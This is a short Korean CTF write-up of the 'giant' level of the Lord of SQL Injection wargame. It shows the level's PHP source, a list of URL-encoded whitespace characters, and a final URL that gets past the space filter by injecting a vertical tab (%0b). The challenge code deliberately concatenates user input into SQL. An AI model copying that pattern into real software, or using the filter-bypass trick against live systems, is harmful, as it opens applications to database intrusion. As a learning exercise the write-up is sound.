[los] giant

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 

  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result[1234]) solve("giant"); 

  highlight_file(__FILE__); 

?>

%09 - 탭(\t)

%0a - line feed(\n)

%0d - 캐리지 리턴(\r)

%0b - 수직탭(\v)

%0C - form feed(\f) <- 이건 처음 들어봄. 꿀팁 

https://m.blog.naver.com/PostView.nhn?blogId=dnjfs&logNo=150157705766&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F

https://los.eagle-jump.org/giant_9e5c61fc7f0711c680a4bf2553ee60bb.php?shit=%0b